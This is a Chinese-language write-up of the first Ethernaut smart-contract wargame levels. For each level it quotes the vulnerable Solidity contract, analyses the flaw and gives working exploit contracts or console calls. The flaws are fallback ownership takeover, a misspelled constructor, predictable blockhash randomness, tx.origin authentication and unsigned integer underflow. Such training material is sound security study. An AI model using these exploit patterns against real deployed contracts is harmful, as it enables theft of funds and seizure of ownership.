1.Hello Ethernaut
目标:
安裝好metamask,熟悉操作指令。
操作過程:
我們先送出一個執行個體,然後打開遊覽器F12.然後跟他的提示走。
先輸入contract.info().
contract.info()
//You will find what you need in info1().
輸入contract.info1()
//Try info2(), but with "hello" as a parameter.
contract.info2("hello")
//The property infoNum holds the number of t...
這裡我們在進入infoNum裡面。
contract.infoNum()
//看到word為42
contract.info42()
//theMethodName is the name of the next method...
contract.theMethodName()
//The method name is method7123949.
contract.method7123949()
If you know the password, submit it to auth
contract.password()
得到密碼為ethernaut0
contract.authenticate("ethernaut0")
然後這邊送出答案就可以了。
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiETPwJWZ3ZCMwcTP39zZuBnLuVzRjV3YE1UNNpmTxcGVPlHM55EMZpmT3NGVNdXRq50dFRVT3lERNlHMT9UeZpmTzMGVNZXRU10dJRUT5hzUPlXWq50MjRVT2NmMiNnSywEd5ITW110MaZHetlVdO1GT3lERNl3YXJGc5kHT20ESjBjUIF2Lc12bj5SYphXa5VWen5WY35iclN3Ztl2Lc9CX6MHc0RHaiojIsJye.png)
2.Fallback
目标:
- 您要求合同所有權
- 您将其餘額減少到0
代碼:
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
function() payable external {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
代碼分析:
看了一下代碼,如果要擷取owner的話,有兩種辦法。
第一種是通過contrabute函數去擷取。
(但是contribute函數中,每次發送小于0.001ether,但是判斷了contributions[msg.sender] > contributions[owner]
contributions[owner]初始值為1000ether,這個要求我們很難滿足)
第二種是通過fallback去擷取。
(我們看到fallback中的owner = msg.sender;這就好辦了,我們可以通過發送以太币,觸發合約中的fallback函數。
但是其中判斷了contributions[msg.sender] > 0,這裡我們需要使他大于0.使用内置的函數去觸發他)
操作過程:
contract.contribute({value: 1})先調用contribute擷取貢獻值。
然後使用contract
.sendTransaction({value: 1})
方法向以太坊網絡送出一個交易。
這裡我們可以看到合約的owner為自己了。
ok,我們現在查詢一下合約的餘額。getBalance(instance)
然後我們可以使用合約的轉賬函數。contract.withdraw()
然後我們再次查詢餘額。
3.Fallout
目标:
1.擷取合約的權限。
代碼:
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
代碼分析:
做這種題,先看owner = msg.sender,畢竟是擷取權限的。我們直接定位到Fal1out中,這裡我們看到Fal1out,這裡是開發寫錯了函數名,把這個當作構造函數了。這裡我們可以直接調用擷取owner權限。
操作過程:
contract.Fal1out(),擷取owner。
3.Coin Flip
目标:這是一個硬币翻轉遊戲,您需要通過猜測硬币翻轉的結果來建立自己的連勝紀錄。要完成此級别,您需要使用自己的心理能力連續10次猜測正确的結果。
代碼
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
代碼分析:
我們先通讀一下全文。首先定義了一個CoinFlip這個合約,然後引用了SafeMath這個庫,定義了變量。在後面定義了結構consecutiveWins = 0。然後我們看看函數flip寫了什麼,首先輸入一個布爾的值。那麼參數_guess可控。uint256 blockValue = uint256(blockhash(block.number.sub(1)))。block.number表示目前區塊數,然後減一。就是上一塊。blockhash表示區塊的hash,然後轉換成uint256.然後判斷lastHash == blockValue是否相等,如果等于了就復原。
這裡的意思就是不能重複上次的區塊。然後擷取到blockValue又指派給lastHash,就相當于你要連續猜對10次才能通關。uint256 coinFlip = blockValue.div(FACTOR);這裡把值賦給coinFlip,bool side = coinFlip == 1 ? true : false;這裡的意思是判斷coinfilp是否為1,如果不為1傳回ture或者false給side。然後在到後面的if中,如果我們輸入的值,等于就consecutiveWins++;直到consecutiveWins>10.否則失敗。這裡我們構造一個攻擊合約,類似中間人,因為答案可以預測嘛,我們可以把得到的答案發送給原合約。
exp:
pragma solidity ^0.5.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract expcoinflip{
CoinFlip target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function expaddress(address _addr) external{
target = CoinFlip(_addr);
}
function hack() external{
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = blockValue/FACTOR;
bool guess = coinFlip == 1 ? true : false;
target.flip(guess);
}
}
操作過程:
可以看到為0,要使他大于10.
導入合約位址,然後執行hack。知道大于10.
Telephone
目标:
擷取合約的權限
代碼:
pragma solidity ^0.5.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
代碼分析:
我們看到代碼還是很簡單的,擷取權限的話,我們先看看是否有owner = msg.sender。這裡我看到有兩處,第一處是在構造函數裡面,第二處是在函數
changeOwner裡面,那麼我們要擷取權限的話嗎,就隻能在changeOwner函數裡面,我們來分析一下。他判斷了tx.origin != msg.sender,tx.origin表示最初交易發起人,msg.sender表示消息的發起人。當然如果在同一個合約使用的話,是完全沒有問題的。如果被其他合約調用了的話,就會出現問題。比如
合約b合約調用a合約。tx.origin表示使用者,msg.sender表示合約a。就會繞過。
exp:
pragma solidity ^0.5.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exp{
Telephone a = Telephone(0x5ad1DEE3Eb55CFb3592DA97247cBB9Cc76a46AC8);
function hack() public{
a.changeOwner(msg.sender);
}
}
操作過程:
token
目标:
該級别的目标是讓您破解下面的基本令牌合約。
首先會給您20個令牌,如果您設法以某種方式嘗試使用任何其他令牌,就會超越該水準。優選地,非常大量的令牌。
代碼:
pragma solidity ^0.5.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
代碼分析:
我們看代碼定義了兩個函數,一個轉賬,一個查詢餘額。然後構造函數定義了totalSupply。根據題目,要求增加大量的token。那麼我們使用溢出來做,
首先我們看看可控點,一個address和value。要使它變大我們可以使用下溢,比如1減去2.因為無符号,他就會得到一個極大的值。上溢比如指數相乘,超過了最大值極限,他就會變成0.我們在看看代碼。
balances[msg.sender] - _value >= 0
這個判斷寫和沒寫沒有差別,因為是uint型的沒有符号,是恒成立的。
balances[msg.sender] -= _value
這個就是我們利用的點,首先balances[msg.sender]是初始化了的,為20.但是value可控。這裡我們比他大就可以造成溢出了。這裡位址可以不用管。随意就行。
exp:
contract.transfer("任意位址,但是要求存在",21)
操作:
看到為20.